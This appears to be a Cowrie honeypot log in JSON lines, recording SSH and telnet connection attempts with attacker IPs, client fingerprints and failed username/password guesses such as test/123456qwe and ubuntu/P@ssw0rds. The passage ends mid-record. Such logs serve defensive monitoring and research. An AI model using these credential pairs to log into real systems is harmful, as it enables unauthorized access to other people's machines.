{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:47:96:0b:5f:54:30:bb:01:b0:d4:ff:de:07:5e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQvLVHI0F8oTFUzGnpdf1TS6QvWwpSBB47nFNhOYiLY7cAXXA7P6+CBIjdRQAnwlkhWdGstsCZeEOgThlt5rnyFYDAXA0dWY3AOHWQDuA/xo2OatEHHULOCyAKr0//mRm6N+LxyJPhvrsIo/tk95pPT/lk1Gs6XMOBP5VMraGNKb02BoU65LlJz8vcrZB+kSS22rs+XfNt02i++1JjbGDJopp+Qw73EHZctxMzDYsojWF3M2LlVXdgbwIkrReSsnSkKoTGl7SW52eAxUs5F+onV/qY/x5Mo4vuPB1vqzFiVPzSNXHtkXYzAicJVKTqMBz7MaPBaRMAziwEhuaENqQ9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:47:96:0b:5f:54:30:bb:01:b0:d4:ff:de:07:5e:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:36.221948Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:47:96:0b:5f:54:30:bb:01:b0:d4:ff:de:07:5e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQvLVHI0F8oTFUzGnpdf1TS6QvWwpSBB47nFNhOYiLY7cAXXA7P6+CBIjdRQAnwlkhWdGstsCZeEOgThlt5rnyFYDAXA0dWY3AOHWQDuA/xo2OatEHHULOCyAKr0//mRm6N+LxyJPhvrsIo/tk95pPT/lk1Gs6XMOBP5VMraGNKb02BoU65LlJz8vcrZB+kSS22rs+XfNt02i++1JjbGDJopp+Qw73EHZctxMzDYsojWF3M2LlVXdgbwIkrReSsnSkKoTGl7SW52eAxUs5F+onV/qY/x5Mo4vuPB1vqzFiVPzSNXHtkXYzAicJVKTqMBz7MaPBaRMAziwEhuaENqQ9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:36.227134Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:36.348729Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":48154,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c8f4f05ff7","protocol":"ssh","message":"New connection: 101.36.106.162:48154 (10.17.0.5:22) [session: 26c8f4f05ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:38.138411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:38.143298Z","src_ip":"101.36.106.162","session":"26c8f4f05ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:38.361137Z","src_ip":"101.36.106.162","session":"26c8f4f05ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456qwe","message":"login attempt [test/123456qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:39.264114Z","src_ip":"101.36.106.162","session":"26c8f4f05ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:40.485630Z","src_ip":"101.36.106.162","session":"26c8f4f05ff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":52478,"dst_ip":"159.203.135.109","dst_port":22,"session":"2437c9dc1e85","protocol":"ssh","message":"New connection: 43.173.69.147:52478 (159.203.135.109:22) [session: 2437c9dc1e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:48.963034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:48.967956Z","src_ip":"43.173.69.147","session":"2437c9dc1e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:49.037190Z","src_ip":"43.173.69.147","session":"2437c9dc1e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev-2024","message":"login attempt [dev/dev-2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:49.344230Z","src_ip":"43.173.69.147","session":"2437c9dc1e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:50.417301Z","src_ip":"43.173.69.147","session":"2437c9dc1e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":60764,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b1844028901","protocol":"ssh","message":"New connection: 201.6.100.191:60764 (159.203.135.109:22) [session: 3b1844028901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:08.490768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:08.495960Z","src_ip":"201.6.100.191","session":"3b1844028901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:08.641472Z","src_ip":"201.6.100.191","session":"3b1844028901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer2","password":"developer2","message":"login attempt [developer2/developer2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:09.261217Z","src_ip":"201.6.100.191","session":"3b1844028901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:10.406729Z","src_ip":"201.6.100.191","session":"3b1844028901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":50568,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba64fc7d294a","protocol":"ssh","message":"New connection: 101.36.106.162:50568 (10.17.0.5:22) [session: ba64fc7d294a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:27.990664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:27.994831Z","src_ip":"101.36.106.162","session":"ba64fc7d294a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:28.213355Z","src_ip":"101.36.106.162","session":"ba64fc7d294a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"lol123","message":"login attempt [debian/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:29.118534Z","src_ip":"101.36.106.162","session":"ba64fc7d294a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:11:30.340081Z","src_ip":"101.36.106.162","session":"ba64fc7d294a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45838,"dst_ip":"159.203.135.109","dst_port":22,"session":"c78d7cd8420c","protocol":"ssh","message":"New connection: 2.57.122.208:45838 (159.203.135.109:22) [session: c78d7cd8420c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:03.625389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:03.630590Z","src_ip":"2.57.122.208","session":"c78d7cd8420c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:03.823383Z","src_ip":"2.57.122.208","session":"c78d7cd8420c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:04.541278Z","src_ip":"2.57.122.208","session":"c78d7cd8420c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:05.821062Z","src_ip":"2.57.122.208","session":"c78d7cd8420c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":56140,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab283394f8b","protocol":"ssh","message":"New connection: 101.36.106.162:56140 (10.17.0.5:22) [session: 4ab283394f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:17.169751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:17.174891Z","src_ip":"101.36.106.162","session":"4ab283394f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:17.391112Z","src_ip":"101.36.106.162","session":"4ab283394f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.53.176.227","src_port":45481,"dst_ip":"159.203.135.109","dst_port":23,"session":"d661808f49b4","protocol":"telnet","message":"New connection: 113.53.176.227:45481 (159.203.135.109:23) [session: d661808f49b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:17.608991Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rds","message":"login attempt [ubuntu/P@ssw0rds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:18.281798Z","src_ip":"101.36.106.162","session":"4ab283394f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:19.499985Z","src_ip":"101.36.106.162","session":"4ab283394f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":55050,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5996a695517","protocol":"ssh","message":"New connection: 43.173.69.147:55050 (159.203.135.109:22) [session: c5996a695517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:22.179039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:22.183765Z","src_ip":"43.173.69.147","session":"c5996a695517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:22.251808Z","src_ip":"43.173.69.147","session":"c5996a695517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"Passw0rd","message":"login attempt [tester/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:22.553535Z","src_ip":"43.173.69.147","session":"c5996a695517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":49270,"dst_ip":"159.203.135.109","dst_port":22,"session":"f560862ad5df","protocol":"ssh","message":"New connection: 201.6.100.191:49270 (159.203.135.109:22) [session: f560862ad5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:23.480655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:23.485321Z","src_ip":"201.6.100.191","session":"f560862ad5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 